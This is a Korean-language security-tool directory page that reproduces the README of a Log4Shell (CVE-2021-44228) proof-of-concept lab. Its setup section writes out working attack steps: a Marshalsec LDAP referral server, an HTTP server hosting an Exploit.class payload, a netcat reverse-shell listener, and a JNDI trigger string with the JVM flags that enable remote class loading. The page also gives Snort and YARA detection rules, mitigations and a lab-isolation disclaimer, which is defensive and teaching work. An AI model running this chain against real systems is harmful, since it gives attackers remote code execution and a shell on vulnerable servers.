Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Log4Shell-PoC — **Log4Shell PoC는 CVE-2021-44228 취약점을 재현하도록 설계된 고충실도 공격 환경입니다.** JNDI 인젝션, LDAP/RMI 레퍼럴 리다이렉션, Log4j 2 라이브러리를 통한 원격 코드 실행(RCE)을 시연할 수 있는 컨테이너화된 샌드박스를 제공합니다. | Kitploit
도구/GitHubGitHub/josemariamicoli/log4shell-poc
Vulnerability AnalysisExploitationIDS/IPS EvasionWeb Application ExploitationCommand and ControlLearning & EducationIncident ResponsePayload DevelopmentLabs & Practice
GitHubjosemariamicoli/log4shell-poc

Log4Shell-PoC

**Log4Shell PoC는 CVE-2021-44228 취약점을 재현하도록 설계된 고충실도 공격 환경입니다.** JNDI 인젝션, LDAP/RMI 레퍼럴 리다이렉션, Log4j 2 라이브러리를 통한 원격 코드 실행(RCE)을 시연할 수 있는 컨테이너화된 샌드박스를 제공합니다.

127개월 전아직 검토되지 않음
저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██╗ ██╗
██║ ██╔═══██╗██╔════╝ ██║ ██║██╔════╝██║ ██║██╔════╝██║ ██║
██║ ██║ ██║██║ ███╗███████║███████╗███████║█████╗ ██║ ██║
██║ ██║ ██║██║ ██║╚════██║╚════██║██╔══██║██╔══╝ ██║ ██║
███████╗╚██████╔╝╚██████╔╝ ██║███████║██║ ██║███████╗███████╗███████╗ ╚══════╝ ╚═════╝ ╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝

root@kitploit:~
                         ██████╗  ██████╗  ██████╗
                         ██╔══██╗██╔═══██╗██╔════╝
                         ██████╔╝██║   ██║██║     
                         ██╔═══╝ ██║   ██║██║     
                         ██║     ╚██████╔╝╚██████╔╝
                         ╚═╝      ╚═════╝  ╚═════╝ 

         ⚡ LOG4SHELL (CVE-2021-44228) PoC LAB
          [ PROOF OF CONCEPT & JNDI EXPLOITATION ]
root@kitploit:~

**Log4Shell PoC는 CVE-2021-44228 취약점을 재현하도록 설계된 고충실도(high-fidelity) 공격 환경입니다.** Log4j 2 라이브러리를 통한 JNDI 인젝션, LDAP/RMI 리퍼럴 리다이렉션, 원격 코드 실행(RCE)을 시연할 수 있는 컨테이너 기반 샌드박스를 제공합니다.

---

### ⚠️ 면책 조항

**교육 및 승인된 보안 테스트 목적으로만 사용하십시오.**

사전 상호 동의 없이 대상을 공격하기 위해 이 PoC(Proof of Concept)를 사용하는 것은 불법입니다. 모든 관련 지방, 주, 연방 법률을 준수하는 것은 최종 사용자의 책임입니다. 저자는 이 프로그램으로 인해 발생하는 데이터 손실, 시스템 손상, 법적 결과 또는 오용에 대해 어떠한 책임도 지지 않습니다. 이 소프트웨어를 사용함으로써 귀하는 관할권의 법적 경계 내에서 운영하는 것에 동의하는 것입니다.

---



---

### 섹션 2: 프로젝트 기능 및 구조


## 🚀 PoC 기능

* [x] **JNDI 인젝션:** 취약한 Log4j 2.14.1 진입점.
* [x] **LDAP 리퍼럴 서버:** Marshalsec를 통한 악성 LDAP 리다이렉션.
* [x] **원격 클래스 로딩:** 컴파일된 Java 바이트코드의 HTTP 전달.
* [x] **다단계 페이로드:** Java 네이티브 리버스 셸 실행.
* [x] **탐지 회피 테스트:** TrustURLCodebase 및 FormatMsgNoLookups 우회.

---

## 🛠 PoC 구조

### 🛰 악성 인프라 (공격자)

공격자 측은 PoC를 수행하기 위해 세 개의 개별 채널로 구성됩니다.

* **LDAP 리디렉터 (포트 1389):** Marshalsec 기반으로, 피해자의 JNDI 요청을 호스팅된 익스플로잇으로 유도합니다.
* **HTTP 페이로드 서버 (포트 8888):** 피해자가 다운로드하여 실행할 `Exploit.class` 바이트코드를 호스팅합니다.
* **NC 리스너 (포트 9001):** 리버스 셸의 최종 콜백 대상입니다.

### 💻 취약한 인스턴스 (피해자)

취약한 Log4j 구현이 실행되는 Dockerized OpenJDK 8 환경입니다.

* **Log4j v2.14.1:** 공격 대상 라이브러리 버전입니다.
* **VulnerableLog.java:** 사용자 입력을 검증(샌니타이즈) 없이 로깅하는 간단한 Java 애플리케이션입니다.

---



---

### 섹션 3: 설정 및 실행 지침


## ⚙️ 설정 및 실행

### 1. 공격자 설정 (Arch Linux)

**탭 1: LDAP 리퍼럴 서버**
```bash
docker run --rm -it -p 1389:1389 maven:3.8.6-openjdk-8 /bin/bash -c "
git clone [https://github.com/mbechler/marshalsec.git](https://github.com/mbechler/marshalsec.git) && \
cd marshalsec && \
mvn clean package -DskipTests && \
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer '[http://172.17.0.1:8888/#Exploit](http://172.17.0.1:8888/#Exploit)' 1389"

탭 2: HTTP 페이로드 전달

root@kitploit:~
# Start Python server in the directory containing Exploit.class
python3 -m http.server --bind 0.0.0.0 8888

탭 3: Netcat 리스너

root@kitploit:~
nc -lvnp 9001

2. 피해자 실행

탭 4: 취약한 컨테이너 실행

root@kitploit:~
docker run --rm -it -v $(pwd):/app -w /app openjdk:8u121-jdk-alpine /bin/sh

컨테이너 내부: PoC 트리거

root@kitploit:~
java -Dlog4j2.formatMsgNoLookups=false \
     -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
     -cp ".:log4j-api-2.14.1.jar:log4j-core-2.14.1.jar" \
     VulnerableLog '${jndi:ldap://172.17.0.1:1389/Exploit}'



섹션 4: 탐지 및 완화

🔍 탐지 및 방어 모니터링

1. 네트워크 탐지 (Snort/Suricata)

root@kitploit:~
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET EXPLOIT Possible Log4j RCE Attempt (jndi)"; content:"jndi|3a|"; nocase; sid:2034647; rev:1;)

2. 로그 기반 탐지 (YARA)

root@kitploit:~
rule Log4Shell_PoC_JNDI {
    meta:
        description = "Detects JNDI lookup strings in logs used in PoC"
        author = "Apex Pro Framework"
    strings:
        $jndi = / \$\{jndi:(ldap|rmi|dns|nis|iiop|corba|lds):/ i
        $obfuscated = /\$\{\$\{[^}]+\}ndi:/ i
    condition:
        any of them
}

🛡 침해 대응(IR) 매트릭스

단계기법알림 트리거 여부MITRE ATT&CK
초기 접근공개 애플리케이션 악용[ ]T1190
실행명령 및 스크립팅 인터프리터[ ]T1059
명령 및 제어애플리케이션 계층 프로토콜 (LDAP)[ ]T1071.003
데이터 유출비애플리케이션 계층 프로토콜[ ]T1048

🔒 완화 및 강화

  1. 업데이트: Log4j 2.17.1 이상으로 업데이트하세요.
  2. JVM 플래그: 조회(lookup)를 비활성화하려면 -Dlog4j2.formatMsgNoLookups=true를 설정하세요.
  3. 클래스 제거: log4j-core JAR에서 JndiLookup.class를 수동으로 제거하세요.

🔒 작전 규칙

  1. 격리: 대상 IP를 내부 Docker 브리지(172.17.0.0/16)로 하드코딩하세요.
  2. 네트워킹: 호스트 전용(Host-Only)/내부 VM 네트워킹만 사용하세요.
  3. C2 보안: Python 또는 LDAP 서버를 공개 인터넷에 노출하지 마세요.
도구 다운로드